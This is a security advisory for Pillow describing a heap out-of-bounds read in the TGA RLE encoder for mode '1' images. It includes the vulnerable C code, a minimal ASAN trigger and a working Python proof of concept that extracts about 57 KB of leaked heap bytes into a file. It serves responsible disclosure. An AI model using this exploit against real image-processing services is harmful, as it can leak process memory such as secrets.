GHSA-fj7v-r99m-22gq

### Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode `"1"` image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

```python im.save(out, format="TGA", compression="tga_rle") ```

Older affected Pillow versions use the equivalent public option `rle=True`.

For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width / 8)` bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.

The maximum valid TGA width is `65535`. At that width:

```text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes ```

On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized `57297` bytes from distinct out-of-bounds source offsets into one returned TGA, covering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most `128` bytes each, not one large `memcpy()`.

### Details

`src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the `tga_rle` encoder when RLE compression is requested.

`src/encode.c:_setimage()` allocates the row buffer using the packed-bit formula:

```c state->bytes = (state->bits * state->xsize + 7) / 8; state->buffer = (UINT8 *)calloc(1, state->bytes); ```

For mode `"1"`, `state->bits == 1`.

`src/libImaging/TgaRleEncode.c` then computes:

```c bytesPerPixel = (state->bits + 7) / 8; ```

This becomes `1`, and the encoder uses pixel indexes as byte offsets:

```c static int comparePixels(const UINT8 *buf, int x, int bytesPerPixel) { buf += x * bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; } ```

The packet payload `memcpy()` later copies those out-of-bounds source bytes into the output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy one representative byte:

```c memcpy( dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount ); ```

A width-2 mode `"1"` image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized.

### PoC

#### Minimal ASAN trigger

```python import io from PIL import Image

out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle") ```

Observed on local Pillow `12.3.0.dev0` ASAN target:

```text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from _setimage ```

#### Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

```python import hashlib import io import PIL from PIL import Image

WIDTH = 65535 ATTEMPTS = 20 ROW_BYTES = (WIDTH + 7) // 8 MAX_OOB_WINDOW = WIDTH - ROW_BYTES

def extract_oob_payload(data): i = 18 pixel = 0 oob = bytearray()

while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1

if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROW_BYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROW_BYTES - pixel, 0) :])

pixel += count

return bytes(oob)

best = b""

for _ in range(ATTEMPTS): out = io.BytesIO() Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle") oob = extract_oob_payload(out.getvalue()) if len(oob) > len(best): best = oob

with open("/tmp/max_oob_bytes.bin", "wb") as fp: fp.write(best)

print(f"Pillow={PIL.__version__}") print(f"packed_row_bytes={ROW_BYTES}") print(f"maximum_oob_window={MAX_OOB_WINDOW}") print(f"serialized_distinct_oob_offsets={len(best)}") print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}") print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}") print(f"sha256={hashlib.sha256(best).hexdigest()}") ```

Observed on installed Pillow `12.2.0`:

```text Pillow=12.2.0 packed_row_bytes=8192 maximum_oob_window=57343 serialized_distinct_oob_offsets=57297 nonzero_oob_bytes=54407 coverage=99.92% ```

### Impact

This is a heap out-of-bounds read and potential information disclosure.

A maximum-width single-row image can cause nearly the full `57343`-byte adjacent heap window to be incorporated into one output file.